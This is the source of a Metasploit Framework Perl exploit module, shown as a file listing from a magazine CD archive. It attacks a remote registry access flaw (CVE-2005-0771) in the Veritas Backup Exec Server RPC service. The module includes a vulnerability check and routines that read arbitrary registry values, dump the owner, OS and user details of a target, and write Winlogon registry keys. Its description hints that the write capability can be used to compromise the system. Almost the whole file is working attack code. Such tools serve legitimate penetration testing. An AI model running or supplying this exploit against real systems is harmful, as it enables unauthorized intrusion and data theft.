home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / backupexec_registry.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  8.8 KB  |  373 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::backupexec_registry;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14. use Pex::DCERPC;
  15. use Pex::BEServerRPC;
  16.  
  17. my $advanced = { };
  18.  
  19. my $info =
  20.   {
  21.     'Name'      => 'Veritas Backup Exec Server Registry Access',
  22.     'Version'      => '$Revision: 1.3 $',
  23.     'Authors'     => [ 'H D Moore <hdm [at] metasploit.com>' ],
  24.     'Arch'      => [ ],
  25.     'OS'        => [ ],
  26.  
  27.     'UserOpts'    =>
  28.       {
  29.         'RHOST'  => [1, 'ADDR', 'The target address'],
  30.         'RPORT'  => [1, 'PORT', 'The target port', 6106],
  31.         'HIVE'   => [0, 'DATA', 'The hive name to read (HKLM, HKCU, etc)', 'HKLM'],
  32.         'SUBKEY' => [0, 'DATA', 'The full path to the registry subkey', 'Hardware\Description\System\CentralProcessor\0' ],
  33.         'SUBVAL' => [0, 'DATA', 'The name of the subkey value to read', 'ProcessorNameString'],
  34.         'WARN'   => [0, 'DATA', 'The warning message to show at login'],
  35.       },
  36.  
  37.  
  38.     'Description'  => Pex::Text::Freeform(qq{
  39.         This modules exploits a remote registry access flaw in the BackupExec Windows
  40.     Server RPC service. This vulnerability was discovered by Pedram Amini and is based
  41.     on the NDR stub information information posted to openrce.org. The registry write 
  42.     capabilities can be used to compromise a vulnerable system, but this is left as an
  43.     exercise to the user (hint: read the code for WinlogonWarning()).
  44.     
  45.     Please see the target list for the different attack modes.
  46. }),
  47.  
  48.     'Refs' =>
  49.       [
  50.           [ 'OSVDB', '17627' ],
  51.         [ 'CVE', '2005-0771' ],
  52.         [ 'URL', 'http://www.idefense.com/application/poi/display?id=269&type=vulnerabilities'],
  53.         ['MIL', '82'],        
  54.       ],
  55.  
  56.     'DefaultTarget' => 0,
  57.     'Targets' =>
  58.       [
  59.             ['Display System Information',                     'INFO'  ],
  60.             ['Read Arbitrary Registry Path',                   'READ'  ],
  61.             ['Write a Warning Message for Winlogon',           'WRITE' ],
  62.       ],
  63.  
  64.     'Keys' => ['veritas'],
  65.   };
  66.  
  67.  
  68. sub new {
  69.     my $class = shift;
  70.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  71.     return($self);
  72. }
  73.  
  74. sub Check {
  75.     my $self = shift;
  76.     my $target_host = $self->GetVar('RHOST');
  77.     my $target_port = $self->GetVar('RPORT');    
  78.     
  79.     my $s = Msf::Socket::Tcp->new(
  80.         'PeerAddr'  => $target_host,
  81.         'PeerPort'  => $target_port,
  82.         'LocalPort' => $self->GetVar('CPORT'),
  83.         'SSL'       => $self->GetVar('SSL'),
  84.       );
  85.  
  86.     if ( $s->IsError ) {
  87.         $self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
  88.         return $self->CheckCode('Connect');
  89.     }    
  90.     
  91.     my ($bind, $ctx) = Pex::DCERPC::BindFakeMulti (
  92.         Pex::DCERPC::UUID_to_Bin('93841fd0-16ce-11ce-850d-02608c44967b'),
  93.         '1.0',
  94.     );
  95.     
  96.     $s->Send($bind);
  97.     
  98.     my $rpc = Pex::DCERPC::ReadResponse($s);
  99.     if (! $rpc) {
  100.         $s->Close;
  101.         $self->PrintLine('[*] Unknown response received from the server');
  102.         return $self->CheckCode('Unknown');
  103.     }
  104.     
  105.     # Generate the RPC request packets
  106.     my @pkts = Pex::DCERPC::Request (
  107.         7, 
  108.         Pex::BEServerRPC::RegEnum(''),
  109.         256,
  110.         $ctx
  111.     );
  112.     
  113.     # Send each fragment of the request
  114.     foreach (@pkts) { $s->Send($_) }
  115.     
  116.     # Read the response packet
  117.     $rpc = Pex::DCERPC::ReadResponse($s);
  118.     $s->Close;
  119.     
  120.     # Remove the NULLs to make matching easier
  121.     my $raw = $rpc->{'StubData'};
  122.     $raw =~ s/\x00//g;
  123.     
  124.     # Look for the HKLM\Software and HKLM\Hardware keys
  125.     if ($raw =~ /SOFTWARE/i && $raw =~/HARDWARE/i) {
  126.         $self->PrintLine("[*] This system appears to be vulnerable");
  127.         return $self->CheckCode('Confirmed');
  128.     }
  129.  
  130.     $self->PrintLine("[*] This system does not appear to be vulnerable");
  131.     return $self->CheckCode('Safe');
  132. }
  133.  
  134. sub HiveMap {
  135.     my $self = shift;
  136.     my $hive = shift;
  137.     my %hmap =
  138.     (
  139.         'HKCR' => 0x80000000,
  140.         'HKCU' => 0x80000001,
  141.         'HKLM' => 0x80000002,
  142.         'HKU'  => 0x80000003,
  143.         'HKPD' => 0x80000004,
  144.         'HKCC' => 0x80000005,
  145.         'HKDD' => 0x80000006,
  146.     );
  147.     
  148.     return $hmap{$hive} if exists($hmap{$hive});
  149.  
  150.     $self->PrintLine("[*] Invalid hive name. Options: ".join(", ", keys %hmap));
  151.     return;
  152. }
  153.  
  154.  
  155. sub Exploit {
  156.     my $self        = shift;
  157.     my $target_idx  = $self->GetVar('TARGET');
  158.     my $target      = $self->Targets->[$target_idx];
  159.  
  160.     if ($target->[1] eq 'INFO') {
  161.         return $self->DumpInfo();
  162.     }
  163.     
  164.     if ($target->[1] eq 'READ') {
  165.         return $self->ReadRegistry();
  166.     }
  167.     
  168.     if ($target->[1] eq 'WRITE') {
  169.         return $self->WinlogonWarning();
  170.     }
  171. }
  172.  
  173. sub DumpInfo {
  174.     my $self = shift;
  175.  
  176.     my $prod = $self->RegReadString(
  177.         $self->HiveMap('HKLM'),
  178.         'Software\Microsoft\Windows\CurrentVersion',
  179.         'ProductId'
  180.     ) || return;
  181.         
  182.     my $user = $self->RegReadString(
  183.         $self->HiveMap('HKCU'),
  184.         'Software\Microsoft\Windows\CurrentVersion\Explorer',
  185.         'Logon User Name'
  186.     ) || "SYSTEM";
  187.     $self->PrintLine("[*] The current interactive user is $user");
  188.  
  189.  
  190.     my $os_name = $self->RegReadString(
  191.         $self->HiveMap('HKLM'),
  192.         'Software\Microsoft\Windows NT\CurrentVersion',
  193.         'ProductName'
  194.     ) || "Windows (Unknown)";
  195.     
  196.     my $os_sp = $self->RegReadString(
  197.         $self->HiveMap('HKLM'),
  198.         'Software\Microsoft\Windows NT\CurrentVersion',
  199.         'CSDVersion'
  200.     ) || "No Service Pack";    
  201.     $self->PrintLine("[*] This system is running $os_name $os_sp");    
  202.  
  203.     my $owned_name = $self->RegReadString(
  204.         $self->HiveMap('HKLM'),
  205.         'Software\Microsoft\Windows NT\CurrentVersion',
  206.         'RegisteredOwner'
  207.     ) || "Unknown Owner";    
  208.     
  209.     my $owned_corp = $self->RegReadString(
  210.         $self->HiveMap('HKLM'),
  211.         'Software\Microsoft\Windows NT\CurrentVersion',
  212.         'RegisteredOrganization'
  213.     ) || "Unknown Organization";
  214.     $self->PrintLine("[*] Registered to $owned_name of $owned_corp");        
  215.  
  216.     my $cpu0 = $self->RegReadString(
  217.         $self->HiveMap('HKLM'),
  218.         'Hardware\Description\System\CentralProcessor\0',
  219.         'ProcessorNameString'
  220.     ) || "Unknown CPU";
  221.     $self->PrintLine("[*] Using a CPU of type $cpu0");        
  222.                 
  223.     return;
  224. }
  225.  
  226. sub ReadRegistry {
  227.     my $self = shift;
  228.     my $skey = $self->GetVar('SUBKEY');
  229.     my $sval = $self->GetVar('SUBVAL');
  230.     my $hive = $self->HiveMap($self->GetVar('HIVE'));
  231.     return if ! $hive;
  232.     
  233.     my $data = $self->RegReadString($hive, $skey, $sval);
  234.     return if ! $data;
  235.     
  236.     $self->PrintLine("[*] $skey:$sval = '$data'");
  237.     return;
  238. }
  239.  
  240. sub WinlogonWarning {
  241.     my $self = shift;
  242.     my $hive = $self->HiveMap('HKLM');
  243.     
  244.     # REG_DWORD = 4
  245.     # REG_SZ    = 1
  246.     
  247.     my $keyname = 'Software\Microsoft\Windows NT\CurrentVersion\Winlogon';
  248.     my $warning = $self->GetVar('WARN') || 
  249.         "This system is running a vulnerable version of BackupExec! Patch it now!\r\n";
  250.     
  251.     if (! $self->RegWriteString( $hive, $keyname, 'LegalNoticeText', $warning, 1) ) {
  252.         $self->PrintLine('[*] Failed to write the legal notice registry entry');
  253.         return;
  254.     }
  255.  
  256.     if (! $self->RegWriteString( $hive, $keyname, 'LegalNoticeCaption', 'METASPLOIT', 1) ) {
  257.         $self->PrintLine('[*] Failed to write the legal notice caption registry entry');
  258.         return;
  259.     }    
  260.     
  261.     $self->PrintLine("[*] The warning message will be displayed at the new login");
  262. }    
  263.  
  264.  
  265. sub RegReadString {
  266.     my $self = shift;
  267.     my $hive = shift;
  268.     my $path = shift;
  269.     my $sval = shift;
  270.  
  271.     my ($s, $ctx) = $self->ConnectAndBind();
  272.     return if ! $s || ! $ctx;
  273.     
  274.     # Generate the RPC request packets
  275.     my @pkts = Pex::DCERPC::Request (
  276.         4, 
  277.         Pex::BEServerRPC::RegRead(
  278.             'SubKey' => $path,
  279.             'SubVal' => $sval,
  280.             'Hive'   => $hive,
  281.         ),
  282.         256,
  283.         $ctx
  284.     );
  285.     
  286.     # Send each fragment of the request
  287.     foreach (@pkts) { $s->Send($_) }
  288.     
  289.     # Read the response packet
  290.     my $rpc = Pex::DCERPC::ReadResponse($s);
  291.     $s->Close;
  292.     
  293.     my ($ret, $len) = unpack('V*', $rpc->{'StubData'});
  294.     if ($ret != 1 && $ret != 3) {
  295.         return;
  296.     }
  297.     
  298.     my $raw = substr($rpc->{'StubData'}, 8, $len);
  299.     return $raw;
  300. }
  301.  
  302. sub RegWriteString {
  303.     my $self = shift;
  304.     my $hive = shift;
  305.     my $path = shift;
  306.     my $skey = shift;
  307.     my $sval = shift;
  308.     my $type = shift;
  309.  
  310.     my ($s, $ctx) = $self->ConnectAndBind();
  311.     return if ! $s || ! $ctx;
  312.  
  313.     # Generate the RPC request packets
  314.     my @pkts = Pex::DCERPC::Request (
  315.         5, 
  316.         Pex::BEServerRPC::RegWrite(
  317.             'SubKey' => $path,
  318.             'SubVal' => $skey,
  319.             'Hive'   => $hive,
  320.             'Data'   => $sval,
  321.             'Type'   => $type,
  322.         ),
  323.         256,
  324.         $ctx
  325.     );
  326.     
  327.     # Send each fragment of the request
  328.     foreach (@pkts) { $s->Send($_) }
  329.     
  330.     # Read the response packet
  331.     my $rpc = Pex::DCERPC::ReadResponse($s);
  332.     $s->Close;
  333.     if (! $rpc->{'StubData'}) {
  334.         return;
  335.     }
  336.     
  337.     # print "response: ".unpack("H*", $rpc->{'StubData'})."\n";
  338.     return 1;
  339. }
  340.  
  341. sub ConnectAndBind {
  342.     my $self = shift;
  343.     my $s = Msf::Socket::Tcp->new(
  344.         'PeerAddr'  => $self->GetVar('RHOST'),
  345.         'PeerPort'  => $self->GetVar('RPORT'),
  346.         'LocalPort' => $self->GetVar('CPORT'),
  347.         'SSL'       => $self->GetVar('SSL'),
  348.       );
  349.  
  350.     if ( $s->IsError ) {
  351.         $self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
  352.         return;
  353.     }
  354.  
  355.     my ($bind, $ctx) = Pex::DCERPC::BindFakeMulti (
  356.         Pex::DCERPC::UUID_to_Bin('93841fd0-16ce-11ce-850d-02608c44967b'),
  357.         '1.0',
  358.     );
  359.     
  360.     $s->Send($bind);
  361.     
  362.     my $rpc = Pex::DCERPC::ReadResponse($s);
  363.     if (! $rpc) {
  364.         $s->Close;
  365.         $self->PrintLine('[*] Unknown response received from the server');
  366.         return;
  367.     }
  368.     
  369.     return ($s, $ctx);
  370. }
  371.  
  372. 1;
  373.